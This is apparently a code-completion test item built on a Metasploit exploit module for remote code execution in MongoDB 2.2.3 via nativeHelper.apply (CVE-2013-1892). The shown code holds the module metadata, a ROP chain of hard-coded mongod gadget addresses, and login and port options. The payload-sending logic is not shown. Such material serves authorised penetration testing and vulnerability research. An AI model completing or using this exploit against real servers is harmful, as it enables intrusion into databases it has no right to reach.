You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: mongod_native_helper.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/misc
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'         => 'MongoDB nativeHelper.apply Remote Code Execution',
      'Description'  => %q{
          This module exploits the nativeHelper feature from spiderMonkey which allows
        remote code execution by calling it with specially crafted arguments. This module
        has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
      },
      'Author'         =>
        [
          'agix' # @agixid # Vulnerability discovery and Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-1892' ],
          [ 'OSVDB', '91632' ],
          [ 'BID', '58695' ],
          [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux - mongod 2.2.3 - 32bits',
            {
              'Arch' => ARCH_X86,
              'mmap' => [
                  0x0816f768,	# mmap64@plt # from mongod
                  0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
                  0x31337000,
                  0x00002000,
                  0x00000007,
                  0x00000031,
                  0xffffffff,
                  0x00000000,
                  0x00000000,
                  0x0816e4c8,	# memcpy@plt # from mongod
                  0x31337000,
                  0x31337000,
                  0x0c0b0000,
                  0x00002000
              ],
              'ret'     => 0x08055a70, # ret # from mongod
              'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] /
    
  def initialize(info={})
    super(update_info(info,
      'Name'         => 'MongoDB nativeHelper.apply Remote Code Execution',
      'Description'  => %q{
          This module exploits the nativeHelper feature from spiderMonkey which allows
        remote code execution by calling it with specially crafted arguments. This module
        has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
      },
      'Author'         =>
        [
          'agix' # @agixid # Vulnerability discovery and Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-1892' ],
          [ 'OSVDB', '91632' ],
          [ 'BID', '58695' ],
          [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux - mongod 2.2.3 - 32bits',
            {
              'Arch' => ARCH_X86,
              'mmap' => [
                  0x0816f768,	# mmap64@plt # from mongod
                  0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
                  0x31337000,
                  0x00002000,
                  0x00000007,
                  0x00000031,
                  0xffffffff,
                  0x00000000,
                  0x00000000,
                  0x0816e4c8,	# memcpy@plt # from mongod
                  0x31337000,
                  0x31337000,
                  0x0c0b0000,
                  0x00002000
              ],
              'ret'     => 0x08055a70, # ret # from mongod
              'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
              # These gadgets need to be composed with bytes < 0x80
              'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
              'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
              'gadget4' => 0x08055a6c, # pop eax / ret
              'gadget5' => 0x08457158  # xchg esp,eax
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2013-03-24',
      'License'      => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(27017),
        OptString.new('DB', [ true, "Database to use", "admin"]),
        OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
        OptString.new('USERNAME', [ true, "Login to use", ""]),
        OptString.new('PASSWORD', [ true, "Password to use", ""])
      ])
  end